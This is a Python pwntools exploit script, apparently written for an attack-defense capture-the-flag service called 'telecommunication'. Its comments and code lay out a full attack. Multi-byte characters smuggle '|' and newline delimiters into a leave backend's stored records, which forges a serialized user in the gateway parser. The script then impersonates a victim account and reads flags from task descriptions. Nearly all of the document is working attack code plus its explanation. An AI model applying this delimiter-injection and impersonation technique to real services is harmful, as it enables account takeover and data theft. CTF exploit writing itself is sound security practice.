from pwn import *
import random
try:
    from telecommunication_nogamelib import *
except ImportError:
    from .telecommunication_nogamelib import *
import re
import base64
import time


def _swap_halves_b64(buf_b64: str) -> str:
    buf = bytearray(base64.b64decode(buf_b64))
    assert (len(buf) % 16 == 0)
    for start in range(0, len(buf), 16):
        tmp = buf[start:start + 8]
        buf[start:start + 8] = buf[start + 8:start + 16]
        buf[start + 8:start + 16] = tmp
    return base64.b64encode(buf)

context.log_level = 'debug'

def exploit(target, flag_ids_username):
    for flagid in flag_ids_username:
        try:
            # this abuses one bug and two imprecise parsing pattern:
            #
            # the bug is in Holiday, UserLeaveList.cs line 23-25
            # the data read back from the file is parsed byte by byte, but we 
            # can send around and store multi-byte chars. This allows the injection
            # of | and \n
            #
            # the holiday parser also parses the "backend id", even though this is
            # constant (always 2 for holiday). This allows us to set another id
            # than a holiday id (Leave.cs, Deserialize function)
            #
            # the user parser in the gateway (user.py, line 58, deserialize)
            # splits at || and iterates ALL parts if they start with 0. During
            # benign operation, this is always exactly one entry, but with the bug
            # above in the leave backend, we can craft such a serialized user.
            # This allows us to inject an arbitrary user whose name we know, 
            # and accordingly become this user (gateway.py, line 204)
            # 
            # getting the flag afterwards is easy: query the task backend
            # for all tasks, the flags are in the descriptions

            conn = remote(target, 30000, timeout=10, ssl=True)
            # register & login
            first, last, pw = register_and_login(conn)
            receive_main_menu(conn)
            # take time off: this crafts the attacker payload
            enter_holiday_menu(conn)
            take_time_off_1(conn, flagid)
            receive_main_menu(conn)
            # take another time off: 
            # after this, we have 3(!) holiday entries
            enter_holiday_menu(conn)
            take_time_off_2(conn)
            receive_main_menu(conn)
            enter_holiday_menu(conn)
            # now cancel the injected holiday, as it returns the canceled holiday
            cancel_holiday(conn)
            receive_main_menu(conn)
            # at this point, our serialized user is the flagid user
            enter_task_menu(conn)
            # now we want to list all tasks, as the flag is the description of the task
            res = check_task_details(conn, flagid)
            print(res)
            exit(0)
        finally:
            conn.close()

if __name__ == '__main__':
    exploit(sys.argv[1] if len(sys.argv) > 1 else 'localhost', sys.argv[2].split(','))
